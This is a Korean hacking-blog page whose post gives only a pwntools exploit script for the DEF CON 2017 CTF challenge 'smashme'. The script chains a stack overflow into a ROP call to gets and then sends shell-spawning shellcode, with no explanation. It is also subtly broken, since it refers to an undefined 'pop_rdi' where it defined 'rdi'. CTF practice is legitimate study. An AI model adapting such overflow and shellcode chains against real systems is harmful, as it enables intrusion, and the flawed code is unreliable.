Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
Tags
- https설정
- CVE
- 코드게이트
- Branch
- lob
- node
- codegate2017
- shellcraft
- https
- NGINX
- node.js
- openctf
- 코드게이트2017
- module
- Codegate
- 도메인 https
- 노드 엑셀
- 코드게이트 주니어
- xlsx
- CODEGATE2018
- pwntools
- doorlock
- pwnable
- blueborne
- npm
- Hacking
- Git
- gogs
- BLUETOOTH
- gogs private git
Archives
- Today
- Total
고졸백수해킹일기
defcon2017 smashme (exploit only) 본문
from pwn import *
import time
context(arch='amd64', os='linux')
overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"
bss = p64(0x6CB164)
rdi = p64(0x4014d6)
gets = p64(0x40fad0)
shell = asm(shellcraft.sh())
payload = ""
payload += overflow
payload += pop_rdi+bss
payload += gets+bss
s = process("./smashme")
s.sendline(payload)
time.sleep(1)
s.sendline(shell)
s.interactive()
'Pwnable' 카테고리의 다른 글
ARM exploit (0) | 2020.09.12 |
---|---|
pdb symbol 수동으로 다운 (0) | 2020.08.14 |
pwntools shellcraft 사용법 (0) | 2018.03.15 |
codegate2014 nuclear (0) | 2018.03.09 |
codegate2018 BaskinRobins31 (0) | 2018.03.06 |